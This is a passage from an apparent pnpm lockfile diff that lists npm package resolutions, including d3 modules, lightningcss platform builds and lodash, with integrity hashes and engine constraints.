sha512-0eW44TGN5SQXU1mWSkKwFstI/22X2bG1nYzZTYMAWjylYURhse752YgbE4Cx46AC+bAvI+/dYTPRk1LqSUnu6w==} + engines: {node: ^10 || ^12.20.0 || ^14.13.0 || >=15.0.0} + + cssesc@3.0.0: + resolution: {integrity: sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==} + engines: {node: '>=4'} + hasBin: true + + csstype@3.2.3: + resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} + + d3-array@3.2.1: + resolution: {integrity: sha512-gUY/qeHq/yNqqoCKNq4vtpFLdoCdvyNpWoC/KNjhGbhDuQpAM9sIQQKkXSNpXa9h5KySs/gzm7R88WkUutgwWQ==} + engines: {node: '>=12'} + + d3-color@3.1.0: + resolution: {integrity: sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==} + engines: {node: '>=12'} + + d3-delaunay@6.0.2: + resolution: {integrity: sha512-IMLNldruDQScrcfT+MWnazhHbDJhcRJyOEBAJfwQnHle1RPh6WDuLvxNArUju2VSMSUuKlY5BGHRJ2cYyoFLQQ==} + engines: {node: '>=12'} + + d3-format@3.1.0: + resolution: {integrity: sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==} + engines: {node: '>=12'} + + d3-geo@3.1.0: + resolution: {integrity: sha512-JEo5HxXDdDYXCaWdwLRt79y7giK8SbhZJbFWXqbRTolCHFI5jRqteLzCsq51NKbUoX0PjBVSohxrx+NoOUujYA==} + engines: {node: '>=12'} + + d3-interpolate-path@2.2.1: + resolution: {integrity: sha512-6qLLh/KJVzls0XtMsMpcxhqMhgVEN7VIbR/6YGZe2qlS8KDgyyVB20XcmGnDyB051HcefQXM/Tppa9vcANEA4Q==} + + d3-interpolate@3.0.1: + resolution: {integrity: sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==} + engines: {node: '>=12'} + + d3-path@1.0.9: + resolution: {integrity: sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==} + + d3-path@2.0.0: + resolution: {integrity: sha512-ZwZQxKhBnv9yHaiWd6ZU4x5BtCQ7pXszEV9CU6kRgwIQVQGLMv1oiL4M+MK/n79sYzsj+gcgpPQSctJUsLN7fA==} + + d3-scale@4.0.2: + resolution: {integrity: sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==} + engines: {node: '>=12'} + + d3-shape@1.3.7: + resolution: {integrity: sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==} + + d3-shape@2.1.0: + resolution: {integrity: sha512-PnjUqfM2PpskbSLTJvAzp2Wv4CZsnAgTfcVRTwW03QR3MkXF8Uo7B1y/lWkAsmbKwuecto++4NlsYcvYpXpTHA==} + + d3-time-format@4.1.0: + resolution: {integrity: sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==} + engines: {node: '>=12'} + + d3-time@3.1.0: + resolution: {integrity: sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==} + engines: {node: '>=12'} + + d3-voronoi@1.1.4: + resolution: {integrity: sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg==} + + debug@4.4.3: + resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + delaunator@5.0.1: + resolution: {integrity: sha512-8nvh+XBe96aCESrGOqMp/84b13H9cdKbG5P2ejQCh4d4sK9RL4371qou9drQjMhvnPmhWl5hnmqbEE0fXr9Xnw==} + + delayed-stream@1.0.0: + resolution: {integrity: sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==} + engines: {node: '>=0.4.0'} + + detect-libc@2.1.2: + resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} + engines: {node: '>=8'} + + dunder-proto@1.0.1: + resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} + engines: {node: '>= 0.4'} + + electron-to-chromium@1.5.286: + resolution: {integrity: sha512-9tfDXhJ4RKFNerfjdCcZfufu49vg620741MNs26a9+bhLThdB+plgMeou98CAaHu/WATj2iHOOHTp1hWtABj2A==} + + emoji-regex@8.0.0: + resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} + + env-paths@2.2.1: + resolution: {integrity: sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==} + engines: {node: '>=6'} + + error-ex@1.3.4: + resolution: {integrity: sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==} + + es-define-property@1.0.1: + resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==} + engines: {node: '>= 0.4'} + + es-errors@1.3.0: + resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} + engines: {node: '>= 0.4'} + + es-object-atoms@1.1.1: + resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==} + engines: {node: '>= 0.4'} + + es-set-tostringtag@2.1.0: + resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==} + engines: {node: '>= 0.4'} + + escalade@3.2.0: + resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} + engines: {node: '>=6'} + + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-glob@3.3.3: + resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==} + engines: {node: '>=8.6.0'} + + fast-uri@3.1.0: + resolution: {integrity: sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==} + + fastest-levenshtein@1.0.16: + resolution: {integrity: sha512-eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg==} + engines: {node: '>= 4.9.1'} + + fastq@1.20.1: + resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==} + + fdir@6.5.0: + resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} + engines: {node: '>=12.0.0'} + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + + file-entry-cache@11.1.2: + resolution: {integrity: sha512-N2WFfK12gmrK1c1GXOqiAJ1tc5YE+R53zvQ+t5P8S5XhnmKYVB5eZEiLNZKDSmoG8wqqbF9EXYBBW/nef19log==} + + fill-range@7.1.1: + resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} + engines: {node: '>=8'} + + flat-cache@6.1.20: + resolution: {integrity: sha512-AhHYqwvN62NVLp4lObVXGVluiABTHapoB57EyegZVmazN+hhGhLTn3uZbOofoTw4DSDvVCadzzyChXhOAvy8uQ==} + + flatted@3.3.3: + resolution: {integrity: sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==} + + follow-redirects@1.15.11: + resolution: {integrity: sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==} + engines: {node: '>=4.0'} + peerDependencies: + debug: '*' + peerDependenciesMeta: + debug: + optional: true + + form-data@4.0.5: + resolution: {integrity: sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==} + engines: {node: '>= 6'} + + fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + function-bind@1.1.2: + resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} + + gensync@1.0.0-beta.2: + resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} + engines: {node: '>=6.9.0'} + + get-east-asian-width@1.4.0: + resolution: {integrity: sha512-QZjmEOC+IT1uk6Rx0sX22V6uHWVwbdbxf1faPqJ1QhLdGgsRGCZoyaQBm/piRdJy/D2um6hM1UP7ZEeQ4EkP+Q==} + engines: {node: '>=18'} + + get-intrinsic@1.3.0: + resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==} + engines: {node: '>= 0.4'} + + get-proto@1.0.1: + resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==} + engines: {node: '>= 0.4'} + + glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + + global-modules@2.0.0: + resolution: {integrity: sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==} + engines: {node: '>=6'} + + global-prefix@3.0.0: + resolution: {integrity: sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==} + engines: {node: '>=6'} + + globby@16.1.0: + resolution: {integrity: sha512-+A4Hq7m7Ze592k9gZRy4gJ27DrXRNnC1vPjxTt1qQxEY8RxagBkBxivkCwg7FxSTG0iLLEMaUx13oOr0R2/qcQ==} + engines: {node: '>=20'} + + globjoin@0.1.4: + resolution: {integrity: sha512-xYfnw62CKG8nLkZBfWbhWwDw02CHty86jfPcc2cr3ZfeuK9ysoVPPEUxf21bAD/rWAgk52SuBrLJlefNy8mvFg==} + + globrex@0.1.2: + resolution: {integrity: sha512-uHJgbwAMwNFf5mLst7IWLNg14x1CkeqglJb/K3doi4dw6q2IvAAmM/Y81kevy83wP+Sst+nutFTYOGg3d1lsxg==} + + gopd@1.2.0: + resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} + engines: {node: '>= 0.4'} + + has-flag@5.0.1: + resolution: {integrity: sha512-CsNUt5x9LUdx6hnk/E2SZLsDyvfqANZSUq4+D3D8RzDJ2M+HDTIkF60ibS1vHaK55vzgiZw1bEPFG9yH7l33wA==} + engines: {node: '>=12'} + + has-symbols@1.1.0: + resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==} + engines: {node: '>= 0.4'} + + has-tostringtag@1.0.2: + resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} + engines: {node: '>= 0.4'} + + hashery@1.4.0: + resolution: {integrity: sha512-Wn2i1In6XFxl8Az55kkgnFRiAlIAushzh26PTjL2AKtQcEfXrcLa7Hn5QOWGZEf3LU057P9TwwZjFyxfS1VuvQ==} + engines: {node: '>=20'} + + hasown@2.0.2: + resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} + engines: {node: '>= 0.4'} + + hookified@1.15.1: + resolution: {integrity: sha512-MvG/clsADq1GPM2KGo2nyfaWVyn9naPiXrqIe4jYjXNZQt238kWyOGrsyc/DmRAQ+Re6yeo6yX/yoNCG5KAEVg==} + + html-tags@5.1.0: + resolution: {integrity: sha512-n6l5uca7/y5joxZ3LUePhzmBFUJ+U2YWzhMa8XUTecSeSlQiZdF5XAd/Q3/WUl0VsXgUwWi8I7CNIwdI5WN1SQ==} + engines: {node: '>=20.10'} + + ignore@7.0.5: + resolution: {integrity: sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==} + engines: {node: '>= 4'} + + immutable@5.1.4: + resolution: {integrity: sha512-p6u1bG3YSnINT5RQmx/yRZBpenIl30kVxkTLDyHLIMk0gict704Q9n+thfDI7lTRm9vXdDYutVzXhzcThxTnXA==} + + import-fresh@3.3.1: + resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} + engines: {node: '>=6'} + + import-meta-resolve@4.2.0: + resolution: {integrity: sha512-Iqv2fzaTQN28s/FwZAoFq0ZSs/7hMAHJVX+w8PZl3cY19Pxk6jFFalxQoIfW2826i/fDLXv8IiEZRIT0lDuWcg==} + + imurmurhash@0.1.4: + resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} + engines: {node: '>=0.8.19'} + + ini@1.3.8: + resolution: {integrity: sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==} + + internmap@2.0.3: + resolution: {integrity: sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==} + engines: {node: '>=12'} + + is-arrayish@0.2.1: + resolution: {integrity: sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==} + + is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + + is-fullwidth-code-point@3.0.0: + resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} + engines: {node: '>=8'} + + is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + + is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + + is-path-inside@4.0.0: + resolution: {integrity: sha512-lJJV/5dYS+RcL8uQdBDW9c9uWFLLBNRyFhnAKXw5tVqLlKZ4RMGZKv+YQ/IA3OhD+RpbJa1LLFM1FQPGyIXvOA==} + engines: {node: '>=12'} + + is-plain-object@5.0.0: + resolution: {integrity: sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==} + engines: {node: '>=0.10.0'} + + isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + + js-tokens@4.0.0: + resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} + + js-yaml@4.1.1: + resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==} + hasBin: true + + jsesc@3.1.0: + resolution: {integrity: sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==} + engines: {node: '>=6'} + hasBin: true + + json-parse-even-better-errors@2.3.1: + resolution: {integrity: sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==} + + json-schema-traverse@1.0.0: + resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==} + + json5@2.2.3: + resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} + engines: {node: '>=6'} + hasBin: true + + keyv@5.6.0: + resolution: {integrity: sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==} + + kind-of@6.0.3: + resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==} + engines: {node: '>=0.10.0'} + + known-css-properties@0.37.0: + resolution: {integrity: sha512-JCDrsP4Z1Sb9JwG0aJ8Eo2r7k4Ou5MwmThS/6lcIe1ICyb7UBJKGRIUUdqc2ASdE/42lgz6zFUnzAIhtXnBVrQ==} + + lightningcss-android-arm64@1.31.1: + resolution: {integrity: sha512-HXJF3x8w9nQ4jbXRiNppBCqeZPIAfUo8zE/kOEGbW5NZvGc/K7nMxbhIr+YlFlHW5mpbg/YFPdbnCh1wAXCKFg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [android] + + lightningcss-darwin-arm64@1.31.1: + resolution: {integrity: sha512-02uTEqf3vIfNMq3h/z2cJfcOXnQ0GRwQrkmPafhueLb2h7mqEidiCzkE4gBMEH65abHRiQvhdcQ+aP0D0g67sg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [darwin] + + lightningcss-darwin-x64@1.31.1: + resolution: {integrity: sha512-1ObhyoCY+tGxtsz1lSx5NXCj3nirk0Y0kB/g8B8DT+sSx4G9djitg9ejFnjb3gJNWo7qXH4DIy2SUHvpoFwfTA==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [darwin] + + lightningcss-freebsd-x64@1.31.1: + resolution: {integrity: sha512-1RINmQKAItO6ISxYgPwszQE1BrsVU5aB45ho6O42mu96UiZBxEXsuQ7cJW4zs4CEodPUioj/QrXW1r9pLUM74A==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [freebsd] + + lightningcss-linux-arm-gnueabihf@1.31.1: + resolution: {integrity: sha512-OOCm2//MZJ87CdDK62rZIu+aw9gBv4azMJuA8/KB74wmfS3lnC4yoPHm0uXZ/dvNNHmnZnB8XLAZzObeG0nS1g==} + engines: {node: '>= 12.0.0'} + cpu: [arm] + os: [linux] + + lightningcss-linux-arm64-gnu@1.31.1: + resolution: {integrity: sha512-WKyLWztD71rTnou4xAD5kQT+982wvca7E6QoLpoawZ1gP9JM0GJj4Tp5jMUh9B3AitHbRZ2/H3W5xQmdEOUlLg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + libc: [glibc] + + lightningcss-linux-arm64-musl@1.31.1: + resolution: {integrity: sha512-mVZ7Pg2zIbe3XlNbZJdjs86YViQFoJSpc41CbVmKBPiGmC4YrfeOyz65ms2qpAobVd7WQsbW4PdsSJEMymyIMg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + libc: [musl] + + lightningcss-linux-x64-gnu@1.31.1: + resolution: {integrity: sha512-xGlFWRMl+0KvUhgySdIaReQdB4FNudfUTARn7q0hh/V67PVGCs3ADFjw+6++kG1RNd0zdGRlEKa+T13/tQjPMA==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + libc: [glibc] + + lightningcss-linux-x64-musl@1.31.1: + resolution: {integrity: sha512-eowF8PrKHw9LpoZii5tdZwnBcYDxRw2rRCyvAXLi34iyeYfqCQNA9rmUM0ce62NlPhCvof1+9ivRaTY6pSKDaA==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + libc: [musl] + + lightningcss-win32-arm64-msvc@1.31.1: + resolution: {integrity: sha512-aJReEbSEQzx1uBlQizAOBSjcmr9dCdL3XuC/6HLXAxmtErsj2ICo5yYggg1qOODQMtnjNQv2UHb9NpOuFtYe4w==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [win32] + + lightningcss-win32-x64-msvc@1.31.1: + resolution: {integrity: sha512-I9aiFrbd7oYHwlnQDqr1Roz+fTz61oDDJX7n9tYF9FJymH1cIN1DtKw3iYt6b8WZgEjoNwVSncwF4wx/ZedMhw==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [win32] + + lightningcss@1.31.1: + resolution: {integrity: sha512-l51N2r93WmGUye3WuFoN5k10zyvrVs0qfKBhyC5ogUQ6Ew6JUSswh78mbSO+IU3nTWsyOArqPCcShdQSadghBQ==} + engines: {node: '>= 12.0.0'} + + lines-and-columns@1.2.4: + resolution: {integrity: sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==} + + lodash.truncate@4.4.2: + resolution: {integrity: sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==} + + lodash@4.17.23: + resolution: {integrity: sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w==} + + loose-envify@1.4.0: + resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==} + hasBin: true + + lru-cache@5.1.1: + resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} + + math-expression-evaluator@1.4.0: + resolution: {integrity: sha512-4vRUvPyxdO8cWULGTh9dZWL2tZK6LDBvj+OGHBER7poH9Qdt7kXEoj20wiz4lQUbUXQZFjPbe5mVDo9nutizCw==} + + math-intrinsics@1.1.0: + resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==} + engines: {node: '>= 0.4'} + + mathml-tag-names@4.0.0: + resolution: {integrity: sha512-aa6AU2Pcx0VP/XWnh8IGL0SYSgQHDT6Ucror2j2mXeFAlN3ahaNs8EZtG1YiticMkSLj3Gt6VPFfZogt7G5iFQ==} + + mdn-data@2.12.2: + resolution: {integrity: sha512-IEn+pegP1aManZuckezWCO+XZQDplx1366JoVhTpMpBB1sPey/SbveZQUosKiKiGYjg1wH4pMlNgXbCiYgihQA==} + + mdn-data@2.27.0: + resolution: {integrity: sha512-/pUmP9UebM48q5BTqZd0yPnDjyRGhITbKh8cwa6/ZwjuDu8xq+VzmugLF7QNxpdaqqNH3J5nnv3yc8oARv096A==} + + meow@14.0.0: + resolution: {integrity: sha512-JhC3R1f6dbspVtmF3vKjAWz1EVIvwFrGGPLSdU6rK79xBwHWTuHoLnRX/t1/zHS1Ch1Y2UtIrih7DAHuH9JFJA==} + engines: {node: '>=20'} + + merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + + micromatch@4.0.8: + resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} + engines: {node: '>=8.6'} + + mime-db@1.52.0: + resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} + engines: {node: '>= 0.6'} + + mime-types@2.1.35: + resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} + engines: {node: '>= 0.6'} + + mitt@2.1.0: + resolution: {integrity: sha512-ILj2TpLiysu2wkBbWjAmww7TkZb65aiQO+DkVdUTBpBXq+MHYiETENkKFMtsJZX1Lf4pe4QOrTSjIfUwN5lRdg==} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + nanoid@3.3.11: + resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + node-addon-api@7.1.1: + resolution: {integrity: sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==} + + node-releases@2.0.27: + resolution: {integrity: 